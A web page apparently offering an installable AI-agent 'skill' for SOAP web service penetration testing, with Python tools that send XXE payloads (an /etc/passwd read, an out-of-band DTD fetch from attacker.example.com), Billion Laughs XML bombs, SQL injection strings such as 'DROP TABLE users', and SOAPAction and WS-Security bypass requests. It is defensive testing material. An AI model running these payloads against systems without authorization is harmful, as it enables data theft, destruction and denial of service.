api security

Performing SOAP Web Service Security Testing

Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.

penetration-testingsoapsoapaction-spoofingweb-servicesws-securitywsdlxml-injectionxpath-injection
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.

When to Use

  • When conducting security assessments that involve performing soap web service security testing
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target SOAP web service endpoint URL
  • WSDL file or URL access for the service
  • SoapUI or ReadyAPI for structured testing
  • Burp Suite with SOAP extensions for interception
  • Python 3.8+ with zeep and lxml libraries
  • Authorization to perform security testing

Testing Methodology

Phase 1: WSDL Reconnaissance

#!/usr/bin/env python3
"""SOAP Web Service Security Testing Tool
 
Analyzes WSDL definitions and tests SOAP endpoints for
common vulnerabilities including XXE, injection, and
WS-Security misconfigurations.
"""
 
import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List, Dict, Optional
from dataclasses import dataclass
 
@dataclass
class SOAPOperation:
    name: str
    action: str
    input_message: str
    output_message: str
    parameters: List[Dict]
 
class SOAPSecurityTester:
    NAMESPACES = {
        'wsdl': 'http://schemas.xmlsoap.org/wsdl/',
        'soap': 'http://schemas.xmlsoap.org/wsdl/soap/',
        'soap12': 'http://schemas.xmlsoap.org/wsdl/soap12/',
        'xsd': 'http://www.w3.org/2001/XMLSchema',
        'wsse': 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd',
    }
 
    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):
        self.wsdl_url = wsdl_url
        self.endpoint_url = endpoint_url
        self.operations: List[SOAPOperation] = []
        self.findings: List[dict] = []
 
    def parse_wsdl(self) -> List[SOAPOperation]:
        """Parse WSDL to extract available operations and parameters."""
        response = requests.get(self.wsdl_url, timeout=30)
        root = etree.fromstring(response.content)
 
        # Extract endpoint URL if not provided
        if not self.endpoint_url:
            address = root.find('.//soap:address', self.NAMESPACES)
            if address is not None:
                self.endpoint_url = address.get('location')
 
        # Extract operations
        for binding_op in root.findall('.//wsdl:binding/wsdl:operation', self.NAMESPACES):
            name = binding_op.get('name')
            soap_op = binding_op.find('soap:operation', self.NAMESPACES)
            action = soap_op.get('soapAction', '') if soap_op is not None else ''
 
            operation = SOAPOperation(
                name=name,
                action=action,
                input_message="",
                output_message="",
                parameters=[]
            )
            self.operations.append(operation)
 
        print(f"[+] Found {len(self.operations)} SOAP operations")
        for op in self.operations:
            print(f"    - {op.name} (SOAPAction: {op.action})")
 
        return self.operations
 
    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:
        """Test for XML External Entity (XXE) injection."""
        xxe_payloads = [
            # Classic XXE - File read
            {
                "name": "Classic XXE (file read)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&xxe;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # Blind XXE - Out-of-band
            {
                "name": "Blind XXE (OOB)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
  %xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>test</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # XML Bomb (Billion Laughs)
            {
                "name": "XML Bomb (Billion Laughs)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&lol4;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            }
        ]
 
        results = []
        for xxe in xxe_payloads:
            try:
                response = requests.post(
                    self.endpoint_url,
                    data=xxe["payload"],
                    headers={
                        "Content-Type": "text/xml; charset=utf-8",
                        "SOAPAction": operation.action,
                    },
                    timeout=10
                )
 
                vulnerable = False
                indicators = []
 
                if "root:" in response.text or "/bin/" in response.text:
                    vulnerable = True
                    indicators.append("File contents in response")
 
                if response.status_code == 200 and "Fault" not in response.text:
                    indicators.append("No XML parsing error returned")
 
                if response.elapsed.total_seconds() > 5:
                    indicators.append("Slow response (possible XML bomb)")
                    vulnerable = True
 
                result = {
                    "test": xxe["name"],
                    "vulnerable": vulnerable,
                    "status_code": response.status_code,
                    "response_time": response.elapsed.total_seconds(),
                    "indicators": indicators
                }
                results.append(result)
 
                if vulnerable:
                    self.findings.append({
                        "severity": "CRITICAL",
                        "type": "XXE",
                        "operation": operation.name,
                        "details": xxe["name"]
                    })
 
            except requests.exceptions.Timeout:
                results.append({
                    "test": xxe["name"],
                    "vulnerable": True,
                    "indicators": ["Request timed out - possible DoS via XML bomb"]
                })
 
        return {"operation": operation.name, "xxe_results": results}
 
    def test_sql_injection(self, operation: SOAPOperation) -> dict:
        """Test SOAP parameters for SQL injection."""
        sqli_payloads = [
            "' OR '1'='1",
            "1; DROP TABLE users--",
            "1' UNION SELECT NULL,NULL,NULL--",
            "' OR 1=1; WAITFOR DELAY '0:0:5'--",
            "admin'/*",
        ]
 
        results = []
        for payload in sqli_payloads:
            soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation.name}>
      <param>{payload}</param>
    </{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''
 
            try:
                response = requests.post(
                    self.endpoint_url,
                    data=soap_body,
                    headers={
                        "Content-Type": "text/xml; charset=utf-8",
                        "SOAPAction": operation.action,
                    },
                    timeout=15
                )
 
                sql_errors = [
                    "SQL syntax", "ORA-", "mysql_", "SQLSTATE",
                    "Microsoft OLE DB", "Unclosed quotation mark",
                    "syntax error", "PostgreSQL"
                ]
                error_found = any(err in response.text for err in sql_errors)
 
                if error_found:
                    self.findings.append({
                        "severity": "CRITICAL",
                        "type": "SQL Injection",
                        "operation": operation.name,
                        "details": f"SQL error triggered with: {payload[:30]}..."
                    })
 
                results.append({
                    "payload": payload,
                    "status_code": response.status_code,
                    "sql_error_detected": error_found,
                    "response_time": response.elapsed.total_seconds()
                })
 
            except requests.exceptions.RequestException:
                continue
 
        return {"operation": operation.name, "sqli_results": results}
 
    def test_soapaction_spoofing(self) -> dict:
        """Test for SOAPAction header spoofing vulnerability."""
        results = []
 
        for i, operation in enumerate(self.operations):
            for j, other_op in enumerate(self.operations):
                if i == j:
                    continue
 
                # Send request with mismatched SOAPAction
                soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation.name}>
      <param>test</param>
    </{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''
 
                try:
                    response = requests.post(
                        self.endpoint_url,
                        data=soap_body,
                        headers={
                            "Content-Type": "text/xml; charset=utf-8",
                            "SOAPAction": other_op.action,  # Wrong action
                        },
                        timeout=10
                    )
 
                    if response.status_code == 200 and "Fault" not in response.text:
                        self.findings.append({
                            "severity": "HIGH",
                            "type": "SOAPAction Spoofing",
                            "operation": operation.name,
                            "details": f"Accepted with SOAPAction of {other_op.name}"
                        })
                        results.append({
                            "body_operation": operation.name,
                            "spoofed_action": other_op.action,
                            "accepted": True
                        })
 
                except requests.exceptions.RequestException:
                    continue
 
        return {"spoofing_results": results}
 
    def test_ws_security_bypass(self) -> dict:
        """Test WS-Security token handling."""
        test_cases = [
            {
                "name": "Missing WS-Security header",
                "header": ""
            },
            {
                "name": "Empty security token",
                "header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
    <wsse:UsernameToken>
      <wsse:Username></wsse:Username>
      <wsse:Password></wsse:Password>
    </wsse:UsernameToken>
  </wsse:Security>'''
            },
            {
                "name": "Expired timestamp",
                "header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
    xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
    <wsu:Timestamp>
      <wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
      <wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
    </wsu:Timestamp>
  </wsse:Security>'''
            }
        ]
 
        results = []
        for test in test_cases:
            if self.operations:
                operation = self.operations[0]
                soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    {test["header"]}
  </soapenv:Header>
  <soapenv:Body>
    <{operation.name}><param>test</param></{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''
 
                try:
                    response = requests.post(
                        self.endpoint_url,
                        data=soap_body,
                        headers={"Content-Type": "text/xml; charset=utf-8"},
                        timeout=10
                    )
 
                    accepted = response.status_code == 200 and "Fault" not in response.text
                    if accepted:
                        self.findings.append({
                            "severity": "CRITICAL",
                            "type": "WS-Security Bypass",
                            "operation": operation.name,
                            "details": test["name"]
                        })
 
                    results.append({
                        "test": test["name"],
                        "accepted": accepted,
                        "status_code": response.status_code
                    })
                except requests.exceptions.RequestException:
                    continue
 
        return {"ws_security_results": results}
 
    def generate_report(self) -> dict:
        """Generate comprehensive security assessment report."""
        return {
            "target": self.endpoint_url,
            "wsdl": self.wsdl_url,
            "operations_tested": len(self.operations),
            "total_findings": len(self.findings),
            "critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
            "high": len([f for f in self.findings if f["severity"] == "HIGH"]),
            "findings": self.findings
        }
 
 
def main():
    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl"
    tester = SOAPSecurityTester(wsdl_url)
 
    print(f"[*] Parsing WSDL: {wsdl_url}")
    operations = tester.parse_wsdl()
 
    for op in operations:
        print(f"\n[*] Testing operation: {op.name}")
        tester.test_xxe_vulnerability(op)
        tester.test_sql_injection(op)
 
    tester.test_soapaction_spoofing()
    tester.test_ws_security_bypass()
 
    report = tester.generate_report()
    print(f"\n{'='*60}")
    print(f"SOAP Security Assessment Report")
    print(f"{'='*60}")
    print(f"Target: {report['target']}")
    print(f"Operations Tested: {report['operations_tested']}")
    print(f"Findings: {report['total_findings']} "
          f"(Critical: {report['critical']}, High: {report['high']})")
 
    for finding in report['findings']:
        print(f"\n  [{finding['severity']}] {finding['type']}")
        print(f"  Operation: {finding['operation']}")
        print(f"  Details: {finding['details']}")
 
 
if __name__ == "__main__":
    main()

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.3 KB

API Reference: SOAP Web Service Security Testing

WSDL Namespaces

Prefix URI Purpose
wsdl http://schemas.xmlsoap.org/wsdl/ WSDL 1.1 definitions
soap http://schemas.xmlsoap.org/wsdl/soap/ SOAP 1.1 binding
soap12 http://schemas.xmlsoap.org/wsdl/soap12/ SOAP 1.2 binding
xsd http://www.w3.org/2001/XMLSchema XML Schema types
wsse http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd WS-Security

SOAP Request Headers

Header Value Description
Content-Type text/xml; charset=utf-8 SOAP 1.1 content type
Content-Type application/soap+xml; charset=utf-8 SOAP 1.2 content type
SOAPAction "http://example.com/Operation" Target operation URI

Common Test Payloads

Test Category Severity
XXE file read (<!ENTITY xxe SYSTEM "file:///etc/passwd">) XML Injection Critical
Billion Laughs (<!ENTITY expansion) DoS High
SQL injection in parameters Injection Critical
SOAPAction header mismatch Authorization Bypass High
Missing WS-Security token Authentication Bypass Critical
XPath injection (' or '1'='1) Injection High

Python Libraries

Library Version Purpose
requests >=2.28 Send raw SOAP HTTP requests
lxml >=4.9 Parse WSDL/XML with namespace support
zeep >=4.2 Full SOAP client with WSDL parsing
suds-community >=1.1 Alternative SOAP client

lxml Key Methods

Method Description
etree.fromstring(xml_bytes) Parse XML from bytes
root.find(xpath, namespaces) Find single element
root.findall(xpath, namespaces) Find all matching elements
element.get(attr) Get attribute value

References

Scripts 1

agent.py7.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for security testing SOAP web services.

Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection,
SOAPAction spoofing, and WS-Security bypass vulnerabilities.
"""

import json
import os
import requests
import sys
from lxml import etree


SOAP_NS = {
    "wsdl": "http://schemas.xmlsoap.org/wsdl/",
    "soap": "http://schemas.xmlsoap.org/wsdl/soap/",
    "soap12": "http://schemas.xmlsoap.org/wsdl/soap12/",
    "wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
}


class SOAPSecurityTester:
    """Tests SOAP web services for common vulnerabilities."""

    def __init__(self, wsdl_url, endpoint_url=None):
        self.wsdl_url = wsdl_url
        self.endpoint_url = endpoint_url
        self.operations = []
        self.findings = []

    def parse_wsdl(self):
        """Fetch and parse the WSDL to extract operations and endpoint."""
        resp = requests.get(self.wsdl_url, timeout=30)
        resp.raise_for_status()
        root = etree.fromstring(resp.content)

        if not self.endpoint_url:
            addr = root.find(".//soap:address", SOAP_NS)
            if addr is not None:
                self.endpoint_url = addr.get("location")

        for binding_op in root.findall(".//wsdl:binding/wsdl:operation", SOAP_NS):
            name = binding_op.get("name")
            soap_op = binding_op.find("soap:operation", SOAP_NS)
            action = soap_op.get("soapAction", "") if soap_op is not None else ""
            self.operations.append({"name": name, "action": action})
        return self.operations

    def _send_soap(self, body_xml, soap_action="", timeout=10):
        headers = {"Content-Type": "text/xml; charset=utf-8"}
        if soap_action:
            headers["SOAPAction"] = soap_action
        return requests.post(self.endpoint_url, data=body_xml,
                             headers=headers, timeout=timeout)

    def test_xxe(self, operation_name):
        """Test for XML External Entity injection."""
        payloads = [
            ("Classic XXE file read",
             f'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM '
             f'"file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv='
             f'"http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body>'
             f'<{operation_name}>&xxe;</{operation_name}>'
             f'</soapenv:Body></soapenv:Envelope>'),
            ("Billion Laughs DoS",
             f'<?xml version="1.0"?><!DOCTYPE lolz ['
             f'<!ENTITY lol "lol"><!ENTITY l2 "&lol;&lol;&lol;&lol;&lol;">'
             f'<!ENTITY l3 "&l2;&l2;&l2;&l2;&l2;">]>'
             f'<soapenv:Envelope xmlns:soapenv='
             f'"http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body>'
             f'<{operation_name}>&l3;</{operation_name}>'
             f'</soapenv:Body></soapenv:Envelope>'),
        ]
        results = []
        for name, payload in payloads:
            try:
                resp = self._send_soap(payload, timeout=10)
                vulnerable = "root:" in resp.text or resp.elapsed.total_seconds() > 5
                if vulnerable:
                    self.findings.append({"severity": "CRITICAL", "type": "XXE",
                                          "operation": operation_name, "test": name})
                results.append({"test": name, "vulnerable": vulnerable,
                                "status": resp.status_code,
                                "time_s": resp.elapsed.total_seconds()})
            except requests.RequestException as exc:
                results.append({"test": name, "error": str(exc)})
        return results

    def test_sql_injection(self, operation_name, soap_action=""):
        """Test SOAP parameters for SQL injection error disclosure."""
        sqli_payloads = ["' OR '1'='1", "1; DROP TABLE users--",
                         "' UNION SELECT NULL--", "admin'/*"]
        results = []
        sql_errors = ["SQL syntax", "ORA-", "SQLSTATE", "Unclosed quotation",
                      "Microsoft OLE DB", "PostgreSQL"]
        for payload in sqli_payloads:
            body = (f'<soapenv:Envelope xmlns:soapenv='
                    f'"http://schemas.xmlsoap.org/soap/envelope/">'
                    f'<soapenv:Body><{operation_name}>'
                    f'<param>{payload}</param></{operation_name}>'
                    f'</soapenv:Body></soapenv:Envelope>')
            try:
                resp = self._send_soap(body, soap_action, timeout=15)
                error_found = any(e in resp.text for e in sql_errors)
                if error_found:
                    self.findings.append({"severity": "CRITICAL", "type": "SQL Injection",
                                          "operation": operation_name,
                                          "payload": payload[:30]})
                results.append({"payload": payload, "sql_error": error_found,
                                "status": resp.status_code})
            except requests.RequestException:
                continue
        return results

    def test_soapaction_spoofing(self):
        """Test whether mismatched SOAPAction headers are accepted."""
        results = []
        for i, op in enumerate(self.operations):
            for j, other in enumerate(self.operations):
                if i == j:
                    continue
                body = (f'<soapenv:Envelope xmlns:soapenv='
                        f'"http://schemas.xmlsoap.org/soap/envelope/">'
                        f'<soapenv:Body><{op["name"]}><p>test</p>'
                        f'</{op["name"]}></soapenv:Body></soapenv:Envelope>')
                try:
                    resp = self._send_soap(body, other["action"])
                    if resp.status_code == 200 and "Fault" not in resp.text:
                        self.findings.append({"severity": "HIGH",
                                              "type": "SOAPAction Spoofing",
                                              "operation": op["name"],
                                              "spoofed_action": other["action"]})
                        results.append({"op": op["name"],
                                        "spoofed": other["action"], "accepted": True})
                except requests.RequestException:
                    continue
        return results

    def test_ws_security_bypass(self):
        """Test whether requests without WS-Security tokens are accepted."""
        if not self.operations:
            return []
        op = self.operations[0]
        body = (f'<soapenv:Envelope xmlns:soapenv='
                f'"http://schemas.xmlsoap.org/soap/envelope/">'
                f'<soapenv:Body><{op["name"]}><p>test</p>'
                f'</{op["name"]}></soapenv:Body></soapenv:Envelope>')
        try:
            resp = self._send_soap(body)
            accepted = resp.status_code == 200 and "Fault" not in resp.text
            if accepted:
                self.findings.append({"severity": "CRITICAL",
                                      "type": "WS-Security Bypass",
                                      "operation": op["name"]})
            return [{"test": "No WS-Security header", "accepted": accepted}]
        except requests.RequestException as exc:
            return [{"error": str(exc)}]

    def generate_report(self):
        report = {"target": self.endpoint_url, "wsdl": self.wsdl_url,
                  "operations": len(self.operations),
                  "findings_count": len(self.findings),
                  "findings": self.findings}
        print(json.dumps(report, indent=2))
        return report


def main():
    wsdl = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("SOAP_WSDL_URL", "http://localhost:8080/ws?wsdl")
    tester = SOAPSecurityTester(wsdl)
    tester.parse_wsdl()
    for op in tester.operations:
        tester.test_xxe(op["name"])
        tester.test_sql_injection(op["name"], op["action"])
    tester.test_soapaction_spoofing()
    tester.test_ws_security_bypass()
    tester.generate_report()


if __name__ == "__main__":
    main()
Keep exploring